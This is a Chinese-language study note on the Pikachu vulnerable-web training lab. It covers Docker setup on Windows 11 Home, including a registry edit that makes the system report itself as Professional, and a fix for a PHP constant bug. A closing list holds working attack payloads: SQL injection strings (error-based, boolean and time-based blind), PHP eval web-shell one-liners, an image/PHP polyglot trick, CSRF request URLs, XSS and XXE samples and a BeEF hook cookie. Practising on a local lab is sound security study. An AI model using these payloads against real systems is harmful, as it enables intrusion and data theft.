PIKACHU靶场问题解决+部分知识点

前提:我用的是github上docker部署方案。

一、win11家庭版需提前配置环境

✅ 步骤1:安装Docker Desktop(Windows 11家庭版特殊处理)

开启虚拟化功能

重启电脑,按BIOS/UEFI键(通常是F2、F10或Del)进入BIOS

找到"Virtualization"或"VT-x"选项,启用它

保存设置并重启

安装WSL2和Hyper-V(家庭版特殊处理)

创建EnableHyperV.cmd文件,内容如下:

text

编辑

pushd "%~dp0"

dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt

for /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package: "%SystemRoot%\servicing\Packages\%%i"

del hyper-v.txt

Dism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL

右键点击文件 → 以管理员身份运行

重启电脑

修改注册表(将家庭版伪装成专业版)

以管理员身份打开命令提示符

输入以下命令:

text

编辑

REG ADD "HKEY_LOCAL_MACHINE\software\Microsoft\Windows NT\CurrentVersion" /v EditionId /T REG_EXPAND_SZ /d Professional /F

重启电脑

安装WSL2

以管理员身份打开PowerShell

输入以下命令:

text

编辑

wsl --install

重启电脑

安装Docker Desktop

下载Docker Desktop:https://www.docker.com/products/docker-desktop

运行安装程序,勾选"Use WSL 2 instead of Hyper-V"

完成安装后重启电脑

✅ 步骤2:部署皮卡丘靶场

打开命令提示符(CMD)或PowerShell

输入以下命令:

bash

编辑

docker run -d -p 8765:80 8023/pikachu-expect:latest

等待容器启动(大约1-2分钟),别急

打开浏览器,访问:http://localhost:8765

您会看到欢迎界面,点击"点击进行初始化安装"完成安装

二、打CSRF靶场时候报错,数据显示不出来,解决:

✅ 手动修改 csrf_get_edit.php 文件的详细步骤(小白友好版)

只需要跟着这5步操作,就能解决 MYSQL_ASSOC 常量错误问题。

🧰 所需工具

Docker Desktop(已启动皮卡丘容器)

终端(Windows用PowerShell或CMD,Mac/Linux用Terminal)

🔧 操作步骤(3分钟搞定)

✅ 第1步:找到皮卡丘容器ID

打开终端(Windows: PowerShell / CMD;Mac/Linux: Terminal)

输入命令查看所有运行中的容器:

docker ps

找到 pikachu 或 vulfocus/pikachu 的容器ID(通常第一列是ID,如 a1b2c3d4e5f6)

💡 示例输出:

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

a1b2c3d4e5f6 vulfocus/pikachu "/docker-entrypoint...." 2 hours ago Up 2 hours 0.0.0.0:8080->80/tcp pikachu-container

✅ 第2步:进入容器内部

在终端输入(把 a1b2c3d4e5f6 替换成你上一步查到的实际ID):

docker exec -it a1b2c3d4e5f6 bash

成功进入容器后,终端会变成类似 root@a1b2c3d4e5f6:/# 的提示符

💡 如果提示 command not found,说明你没安装Docker,需要先安装Docker

✅ 第3步:找到并修改文件

在容器内输入以下命令进入目标文件目录:

cd /app/vul/csrf/csrfget/

用 vim 打开文件(如果提示没安装vim,先输入 apt-get update && apt-get install vim -y):

vim csrf_get_edit.php

在vim里操作:

按 /(斜杠),然后输入 MYSQL_ASSOC,按回车 → 会跳转到第一个匹配位置

按 n(next)继续找下一处(通常第70行附近)

找到类似这样的代码:

result = mysqli_fetch_array(query, MYSQL_ASSOC);

用键盘 删除 MYSQL,改成 MYSQLI → 变成:

result = mysqli_fetch_array(query, MYSQLI_ASSOC);

按 Esc 键退出编辑模式

输入 :wq 保存并退出(:wq = write quit)

💡 如果找不到,直接按 Ctrl + W(Windows)或 Cmd + W(Mac)打开文件,用鼠标找到第70行左右

✅ 第4步:重启容器

在终端(不在容器内,要退出容器)输入:

docker restart a1b2c3d4e5f6

(把 a1b2c3d4e5f6 换成你的容器ID)

✅ 第5步:验证是否成功

打开浏览器访问 http://localhost:8080(或你配置的端口)

进入 CSRF → CSRF GET → CSRF GET编辑 页面

错误消失了! 你看到的应该是正常页面,没有 Warning 提示

💡 为什么这么操作?

皮卡丘靶场的代码里写错了常量名(MYSQL_ASSOC 应该是 MYSQLI_ASSOC)

你通过修改这个文件,把错误的常量名改对了

重启容器后,新代码生效,错误就消失了

❌ 常见问题解决

问题 解决方法

vim 未安装 在容器内输入 apt-get update && apt-get install vim -y

找不到文件 确认路径是否是 /app/vul/csrf/csrfget/csrf_get_edit.php(检查大小写)

修改后还是报错 重启容器(docker restart)

不想用vim 用 nano 代替:nano csrf_get_edit.php → 修改后按 Ctrl + O 保存,Ctrl + X 退出

🌟 终极验证

打开浏览器开发者工具(F12)→ Console

重新加载页面,不再有 Warning → 说明成功!

💡 一句话总结

进入容器 → 找到文件 → 把 MYSQL_ASSOC 改成 MYSQLI_ASSOC → 保存 → 重启容器,搞定!

#退出容器内部:Docker容器内部(提示符是 root@c72d434364e0:~#),正确的退出方式是使用快捷键 Ctrl + P + Q

三、pikachu知识点

http://192.168.XX.1:8765/vul/csrf/csrfget/csrf_get_edit.php?sex=girl\&phonenum=12345678922\&add=wuhan\&email=lucy%40pikachu.com\&submit=submit

http://192.168.XX.1:8765/vul/csrf/csrfget/csrf_get_edit.php?sex=girl\&phonenum=12345678922\&add=xiamen\&email=lucy%40pikachu.com\&submit=submit

可以使用limit一次一次进行获取表名

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

#基于boolian的盲注

kobe' and extractvalue(0,concat(0x7e,version()))#

kobe' and ascii(substr(database(),1,1))=112#

(select table_name from information_schema.tables where table_schema=database() limit 0,1)

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)

,1,1))>112#

基于时间的延迟:

kobe' and if ((substr(database(),1,1))='p',sleep(5),null)#

select *from table where name='';

'or 1=1;%23

echo "<?php eval($_POST[1]);?>" > 1.php

#查看当前目录有哪些文件

print_r(scandir('./'));

file_put_contents('2.php','<?php eval($_POST[1]);?>')

#(filename,data)

copy /b kb.png + phpinfo.php ccc.png

输入 powershell 进入 PowerShell 模式(或者直接输下面的命令,CMD 有时也能调用):

powershell

编辑

Format-Hex ccc.png

效果:会以彩色高亮显示十六进制和对应的 ASCII 码,比 xxd 更好看!

http://192.168.66.1:8765/vul/unsafeupload/uploads/2026/03/02/72016069a4e0b1d4013960095350.png

../../unsafeupload/uploads/2026/03/02/72016069a4e0b1d4013960095350.png

普通用户:

Cookie: BEEFHOOK=dLglPMZcTJ4TNToqu3NmrPKnQ7GrfNRyt6fpS5hHTPlcfxsERaY5jtDDQaFVedxJQGYidLvk41UUkhC6; PHPSESSID=vihmvtsopvakkta4rlmc0j46fg

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

<?xml version = "1.0"?>

<!DOCTYPE note [

<!ENTITY hacker "ESHLkang">

]>

<name>&hacker;</name>

相关推荐
QuantumRedGuestk2 个月前
Xss-Labs靶场通关详细教程【文图】
靶场·xss·xss-labs·web渗透
Bug.ink2 个月前
BUUCTF——WEB(6)
数据库·sql·网络安全·靶场·buuctf
mooyuan天天2 个月前
网络安全渗透靶场学习经验&2025年个人博客技术深度总结
安全·web安全·网络安全·渗透测试·靶场
童话的守望者2 个月前
DC7靶场通关
靶场
week_泽2 个月前
Dvwa靶场搭建_错误汇总
web安全·网络安全·靶场·dvwa
Bug.ink2 个月前
BUUCTF——WEB(4)
前端·网络安全·靶场·ctf·buuctf
Bug.ink3 个月前
BUUCTF——WEB(1)
网络安全·靶场·buuctf
无名修道院3 个月前
DVWA 靶场搭建:Windows11(phpstudy 搭建)(步骤 + 截图 + 常见问题)
数据库·网络安全·渗透测试·靶场·php·dvwa·phpstudy
重生之我在番茄自学网安拯救世界3 个月前
网络安全中级阶段学习笔记(一):DVWA靶场安装配置教程与网络空间搜索语法
笔记·学习·网络安全·靶场·dvwa·fofa·google hack